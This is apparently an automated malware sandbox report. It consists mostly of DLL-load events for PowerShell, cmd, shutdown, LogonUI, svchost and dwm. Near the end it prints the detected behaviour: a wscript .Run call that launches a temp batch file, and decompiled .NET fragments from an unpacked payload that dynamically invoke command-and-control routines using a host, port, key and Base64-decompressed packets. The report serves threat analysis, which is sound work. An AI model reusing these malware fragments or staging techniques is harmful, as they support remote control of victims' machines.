Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\shutdown.exe	Section loaded: shutdownext.dll	Jump to behavior
Source: C:\Windows\System32\shutdown.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\LogonUI.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: logoncontroller.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: slc.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: windows.ui.logon.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: wincorlib.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: dcomp.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: windows.ui.xamlhost.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: mrmcorer.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: windows.ui.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: windowmanagementapi.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: textinputframework.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: inputhost.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: languageoverlayutil.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: bcp47mrm.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: windows.ui.xaml.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: bcp47langs.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: windows.ui.immersive.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: dwrite.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: windows.globalization.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: d3d11.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: d3d10warp.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: directmanipulation.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: dxcore.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: d2d1.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: textshaping.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: windows.ui.xaml.controls.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: uiautomationcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: logoncontroller.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: slc.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: logoncontroller.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: slc.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: sppc.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: dsreg.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: msvcp110_win.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: wtsapi32.dll
Source: C:\Windows\System32\LogonUI.exe	Section loaded: winsta.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: dwmredir.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: udwm.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: coreuicomponents.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: dwmcore.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: coremessaging.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: dwmcore.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: dcomp.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: dxgi.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wintypes.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: powrprof.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: d2d1.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: dcomp.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: d3d11.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: d3dcompiler_47.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: cryptsp.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: umpdc.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: uxtheme.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: dwmghost.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: dwmapi.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: resourcepolicyclient.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: avrt.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: ism.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: propsys.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: hid.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: ninput.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: msasn1.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: windowmanagementapi.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: twinapi.appcore.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: rsaenh.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: windowscodecs.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: gpapi.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: gameinput.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: windows.gaming.input.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: uianimation.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: dispbroker.desktop.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: mscms.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: userenv.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: coloradapterclient.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: actxprxy.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: dispbroker.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: windows.graphics.dll
Source: C:\Windows\System32\dwm.exe	Section loaded: wtsapi32.dll

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: .Run("C:\Users\user\AppData\Local\Temp\bYKR19crJ6p8904.bat", "1", "true");

.NET source code contains method to dynamically call methods (often used by packers)

Source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 5.2.powershell.exe.1d3133975c0.0.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 5.2.powershell.exe.1d3133b65d0.8.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 5.2.powershell.exe.1d3133b65d0.8.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[2]{Pack[2],Helper.Decompress(Convert.FromBase64String(Pack[3]))}}, (string[])null, (Type[])null, (bool[])null, true)
Source: 5.2.powershell.exe.1d3133ad9a0.3.raw.unpack, Messages.cs	.Net Code: NewLateBinding.LateCall(obj, (Type)null, "Invoke", new object[2]{null,new object[5]{Settings.Host,Settings.Port,Settings.SPL,Settings.KEY,Helper.ID()}}, (string[])null, (Type[])null, (bool[])null, true)
